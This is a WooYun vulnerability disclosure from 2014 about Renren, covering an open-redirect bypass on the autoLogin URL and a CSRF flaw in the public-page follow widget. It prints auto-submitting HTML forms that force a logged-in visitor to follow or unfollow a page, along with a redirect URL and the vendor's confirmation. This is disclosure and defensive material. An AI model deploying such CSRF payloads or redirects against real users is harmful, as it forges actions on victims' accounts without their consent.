当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-070092

漏洞标题：人人网主页URL跳转+公共主页CSRF刷粉丝

相关厂商：人人网

漏洞作者： px1624

提交时间：2014-07-29 15:56

修复时间：2014-09-12 15:56

公开时间：2014-09-12 15:56

漏洞类型：CSRF

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-29： 细节已通知厂商并且等待厂商处理中
2014-07-29： 厂商已经确认，细节仅向厂商公开
2014-08-08： 细节向核心白帽子及相关领域专家公开
2014-08-18： 细节向普通白帽子公开
2014-08-28： 细节向实习白帽子公开
2014-09-12： 细节向公众公开

简要描述：

修补代码有问题

详细说明：

签名看到有人发的人人网的3种url跳转利用。
然后我去测试了下，发现这样子还是可以跳转 

www.renren.com/autoLogin?r=http://rrenren.com


http://rrenren.com还是个黄色网站。。
然后是公共主页的CSRF刷粉丝。
#1 在人人网开放平台看到这里有个加关注的接入插件 

http://dev.renren.com/website/?widget=followbutton


#2 输入指定的公共主页id就可以获取到代码 

<iframe scrolling="no" frameborder="0" allowtransparency="true" src="http://widget.renren.com/plugin/followbutton?page_id=601848764&color=0&model=0" style="width:150px;height:40px;" ></iframe>


#3 点击加关注抓包。没有token和_rtk参数了，果断试试能不能CSRF刷粉丝
#4 测试发现这里是没有验证refer的，所以可以利用外部poc去刷粉丝，poc代码如下 

<html><body> <form name="px" method="post" action="http://widget.renren.com/plugin/followbutton/addfans"> <input type="text" name="page_id" value="601855547"> </form> <script> document.px.submit(); </script> </body></html>


#5 同样取消关注虽然正常操作没问题，利用这里的代码也是可以CSRF的，不过没啥利用价值，这里取消关注CSRF的POC代码也给贴出来 

<html><body> <form name="px" method="post" action="http://widget.renren.com/plugin/followbutton/delfans"> <input type="text" name="page_id" value="601855547"> </form> <script> document.px.submit(); </script> </body></html>


漏洞证明：

如上

修复方案：

URL跳转修改下正则
CSRF验证下referer

版权声明：转载请注明来源 px1624@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-07-29 17:29

厂商回复：

谢谢了

最新状态：

暂无

漏洞评价：

评论

  1. 2014-07-29 15:58 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    擦，这种洞，去挖越权吧

  2. 2014-07-29 16:10 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了，跪着也要...)

    px168您来了？

  3. 2014-07-29 17:16 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @小川 。。。貌似小厂商了额

  4. 2014-07-30 16:50 | 冷静 ( 路人 | Rank:3 漏洞数:2 )

    明明是低应该给5的！

  5. 2014-07-30 18:00 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @冷静 2rank...

  6. 2014-07-30 18:34 | 冷静 ( 路人 | Rank:3 漏洞数:2 )

    @px1624 哈哈哈 税收真高